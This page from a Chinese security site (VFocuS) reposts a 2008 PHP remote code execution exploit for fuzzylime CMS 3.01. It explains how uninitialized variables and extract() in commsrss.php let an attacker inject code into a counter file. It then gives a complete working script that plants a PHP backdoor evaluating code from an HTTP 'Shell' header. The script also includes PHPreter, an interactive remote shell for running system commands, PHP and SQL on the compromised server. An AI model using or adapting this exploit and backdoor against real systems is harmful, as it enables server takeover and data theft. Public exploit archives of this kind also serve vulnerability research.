首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
fuzzylime cms 3.01 (commrss.php) Remote Code Execution Exploit
来源:charlesfol[at]hotmail.fr 作者:Charles 发布时间:2008-07-14  
<?php
##
## Name:       Fuzzylime 3.01 Remote Code Execution Exploit
## Credits:    Charles "real" F. <charlesfol[at]hotmail.fr>
##
## Conditions: None
##
## Greetz:     Inphex, hEEGy and austeN
##
## Explanations
## ************
##
## Ok, so today we will go for a walk in the fuzzylime cms maze ...
## Finding vulns was easy, but finding a no condition vuln was quite
## harder ...
##
## First, we look to the code/content.php file:
##
##---[code/content.php]------------------------------------------
## 02| require_once("code/functions.php");
## --| [...]
## 09| $countfile = "code/counter/${s}_$p.inc.php";
## 10| if(file_exists($countfile)) {
## 11|     $curcount = loadfile($countfile);
## 12| }
## 13| $curcount++;
## 14| if($handle = @fopen($countfile, 'w')) { // Open the file for saving
## 15|     fputs($handle, $curcount);
## 16|     fclose($handle);
## 17| }
##----------------------------------------------------------------
##
## $s, $p, $curcount vars are not initialized, so we can set it if
## register_globals=On.
##
## POC: http://[url]/code/content.php?s=owned&p=owned&curcount=[PHP_SCRIPT]
##
## Note: [C:\]# php -r "$var='abc'; $var++; print $var;"
##       abd
## So the ++ just increment the last string letter position in the alphabet
## a->b, b->c, etc.
##
## Ok, we got remote code exec ... but wait a minute ... no ! require_once()
## requires a file in the code folder, but we are already in this folder ...
## PHP will die (Fatal Error) and our evil code won't be executed.
## And we wanted a no condition exploit, but this vuln needs register_globals
## to be On ...
##
## hum... let's look at other pages: we can find that extract() function is
## pretty often used, and it can simulate register_globals ...
## Now we are looking for a file which uses extract() and which can include
## code/content.php file, and which is in the root path.
##
## And we finally found commsrss.php, which contains:
##
##---[commsrss.php]-----------------------------------------------
## 17| extract($HTTP_POST_VARS);
## 18| extract($_POST);
## 19| extract($HTTP_GET_VARS);
## 20| extract($_GET);
## 21| extract($HTTP_COOKIE_VARS);
## 22| extract($_COOKIE);
## --| [...]
## 64| $dir = "blogs/comments/";
## 65| if($dlist = opendir($dir)) {
## 66|     while (($file = readdir($dlist)) !== false) {
## 67|         if(strstr($file, $p)) {
## 68|             $files[] = $file;
## 69|         }
## 70|     }
## 71|     closedir($dlist);
## 72| }
## 73| for($i = 0; $i < count($files); $i++) {
## 74|     include "blogs/comments/$files[$i]";
## --| [...]
## 89| }
##----------------------------------------------------------------
##
## w00t ! $files array is not initialized ... we can include every
## file we want.
##
## Using chr() we can bypass magic_quotes_gpc=Off [ see chrit() ]
##
## Our problems are solved, we have a Remote Code Execution without
## conditions.
##
## Proof of Concept
## ****************
##
## [C:\]# php exploit.php http://www.target.com/
## [target][cmd]# ls
## blogs_.inc.php
## content_index.inc.php
## content_index.php.inc.php
## content_test.inc.php
## front_index.inc.php
## front_test.inc.php
## index.htm
## index.php_index.inc.php
##
## [target][cmd]# exit
##
## [C:\]#

$url = $argv[1];


$php_code = '<?php'
          . 'error_reporting(0);'
          . 'print ' . chrit('-:-:-') . ';'.
          . 'eval(stripslashes($_SERVER[HTTP_SHELL]));'
  . 'print ' . chrit('-:-:-') . ';'.
  . '?>';

$php_code--; // 13| $curcount++;

$c0de  = $url . 'commsrss.php?s=blogs&m=&usecache=0&files[0]=../../code/content.php'
              . '&curcount=' . urlencode($php_code);

$shell = $url . 'code/counter/blogs_.inc.php';


# Be careful: we can create a valid shell only ONCE.
# So check if it does not already exist before doing
# anything else.
if(status_404($shell)==true)
get($c0de);

$phpR = new phpreter($shell, '-:-:-(.*)-:-:-', 'cmd', array(), false);

function chrit($str)
{
$r = '';

for($i=0;$i<strlen($str);$i++)
{
$z  = substr($str, $i, 1);
$r .= '.chr('.ord($z).')';
}

return substr($r, 1);
}

function get($url)
{
$infos = parse_url($url);
$host  = $infos['host'];
$port  = isset($infos['port']) ? $infos['port'] : 80;

$fp = fsockopen($host, $port, &$errno, &$errstr, 30);

$req  = "GET $url HTTP/1.1\r\n";
$req .= "Host: $host\r\n";
$req .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\r\n";
$req .= "Connection: close\r\n\r\n";

fputs($fp,$req);
fclose($fp);
}

function status_404($url)
{
$infos = parse_url($url);
$host  = $infos['host'];
$port  = isset($infos['port']) ? $infos['port'] : 80;

$fp = fsockopen($host, $port, &$errno, &$errstr, 30);

$req  = "GET $url HTTP/1.1\r\n";
$req .= "Host: $host\r\n";
$req .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\r\n";
$req .= "Connection: close\r\n\r\n";

fputs($fp, $req);

$res = '';
while(!feof($fp) && !preg_match('#404#', $res))
$res .= fgets($fp, 1337);

fclose($fp);

if(preg_match('#404#', $res))
return true;

return false;
}

/*
* Copyright (c) real
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
*
* TITLE:          PHPreter
* AUTHOR:         Charles "real" F. <charlesfol[at]hotmail.fr>
* VERSION:        1.0
* LICENSE:        GNU General Public License
*
* This is a really simple class with permits to exec SQL, PHP or CMD
* on a remote host using the HTTP "Shell" header.
*
*
* Sample code:
* [host][sql]# mode=cmd
* [host][cmd]# id
* uid=2176(u47170584) gid=600(ftpusers)
*
* [host][cmd]# mode=php
* [host][php]# echo phpversion();
* 4.4.8
* [host][php]# mode=sql
* [host][sql]# SELECT version(), user()
* --------------------------------------------------
*  version()           | 5.0.51a-log
*  user()              | dbo225004932@74.208.16.148
* --------------------------------------------------
*
* [host][sql]#
*
*/

class phpreter
{
var $url;
var $host;
var $port;
var $page;

var $mode;

var $ssql;

var $prompt;
var $phost;

var $regex;
var $data;

/**
* __construct()
*
* @param url      The url of the remote shell.
* @param regexp   The regex to catch cmd result.
* @param mode     Mode: php, sql or cmd.
* @param sql      An array with the file to include,
*                 and sql vars
* @param clear    Determines if clear() is called
*                 on startup
*/
function __construct($url, $regexp='^(.*)$', $mode='cmd', $sql=array(), $clear=true)
{
$this->url = $url;

$this->regex = '#'.$regexp.'#is';

#
# Set data
#

$infos         = parse_url($this->url);
$this->host    = $infos['host'];
$this->port    = isset($infos['port']) ? $infos['port'] : 80;
$this->page    = $infos['path'];
unset($infos);

# www.(site).com
$host_tmp      = explode('.',$this->host);
$this->phost   = $host_tmp[ count($host_tmp)-2 ];
unset($host_tmp);

#
# Set up MySQL connection string
#
if(!sizeof($sql))
$this->ssql = '';
elseif(sizeof($sql)==5)
{
$this->ssql = "include('$sql[0]');"
            . "mysql_connect($sql[1], $sql[2], $sql[3]);"
    . "mysql_select_db($sql[4]);";
}
else
{
$this->ssql = ""
            . "mysql_connect('$sql[0]', '$sql[1]', '$sql[2]');"
    . "mysql_select_db('$sql[3]');";
}

$this->setmode($mode);

#
# Main Loop
#

if($clear) $this->clear();
print $this->prompt;

while( !preg_match('#^(quit|exit|close)$#i', ($cmd = trim(fgets(STDIN)))) )
{
# change mode
if(preg_match('#^(set )?mode(=| )(sql|cmd|php)$#i',$cmd,$array))
$this->setmode($array[3]);

# clear data
elseif(preg_match('#^clear$#i',$cmd))
$this->clear();

# else
else print $this->exec($cmd);

print $this->prompt;
}
}

/**
* clear()
* Just clears ouput, printing '\n'x50
*/
function clear()
{
print str_repeat("\n", 50);
return 0;
}

/**
* setmode()
* Set mode (PHP, CMD, SQL)
* You don't have to call it.
* use mode=[php|cmd|sql] instead,
* in the prompt.
*/
function setmode($newmode)
{
$this->mode = strtolower($newmode);
$this->prompt = '['.$this->phost.']['.$this->mode.']# ';

switch($this->mode)
{
case 'cmd':
$this->data = 'system(\'<CMD>\');';
break;
case 'php':
$this->data = '';
break;
case 'sql':
$this->data = $this->ssql
            . '$q = mysql_query(\'<CMD>\') or print(str_repeat("-",50)."\n".mysql_error()."\n");'
    . 'print str_repeat("-",50)."\n";'
    . 'while($r=mysql_fetch_array($q,MYSQL_ASSOC))'
    . '{'
    . 'foreach($r as $k=>$v) print " ".$k.str_repeat(" ", (20-strlen($k)))."| $v\n";'
    . 'print str_repeat("-",50)."\n";'
    . '}';
break;
}
return $this->mode;
}

/**
* exec()
* Execute any query and catch the result.
* You don't have to call it.
*/
function exec($cmd)
{
if(!strlen($this->data)) $shell = $cmd;
else                    $shell = str_replace('<CMD>', addslashes($cmd), $this->data);

$fp = fsockopen($this->host, $this->port, &$errno, &$errstr, 30);

$req  = "GET " . $this->page . " HTTP/1.1\r\n";
$req .= "Host: " . $this->host . ( $this->port!=80 ? ':'.$this->port : '' ) . "\r\n";
$req .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\r\n";
$req .= "Shell: $shell\r\n";
$req .= "Connection: close\r\n\r\n";

unset($shell);

fputs($fp, $req);

$content = '';
while(!feof($fp)) $content .= fgets($fp, 128);

fclose($fp);

# Remove headers
$data    = explode("\r\n\r\n", $content);
$headers = array_shift($data);
$content = implode("\r\n\r\n", $data);

if(preg_match("#Transfer-Encoding:.*chunked#i", $headers))
$content = $this->unchunk($content);

preg_match($this->regex, $content, $data);

if($data[1][ strlen($data)-1 ] != "\n") $data[1] .= "\n";

return $data[1];
}

/**
* unchunk()
* This function aims to remove chunked content sizes which
* are putted by apache server when it uses chunked
* transfert-encoding.
*/
function unchunk($data)
{
$dsize  = 1;
$offset = 0;

while($dsize>0)
{
$hsize_size = strpos($data, "\r\n", $offset) - $offset;

$dsize = hexdec(substr($data, $offset, $hsize_size));

# Remove $hsize\r\n from $data
$data = substr($data, 0, $offset) . substr($data, ($offset + $hsize_size + 2) );

$offset += $dsize;

# Remove the \r\n before the next $hsize
$data = substr($data, 0, $offset) . substr($data, ($offset+2) );
}

return $data;
}
}

?>

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Simple DNS Plus <= 5.0/4.1 Rem
·Ultrastats <= 0.2.142 (players
·Scripteen Free Image Hosting S
·AuraCMS <= 2.2.2 (pages_data.p
·Poppler <= 0.8.4 libpoppler un
·Yahoo Messenger 8.1 ActiveX Re
·OllyDBG v1.10 and ImpREC v1.7f
·Download Accelerator Plus - DA
·Galatolo Web Manager 1.3a <= X
·trixbox (langChoice) Local Fil
·WinRemotePC Full+Lite 2008 r.2
·BrewBlogger 2.1.0.1 Arbitrary
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved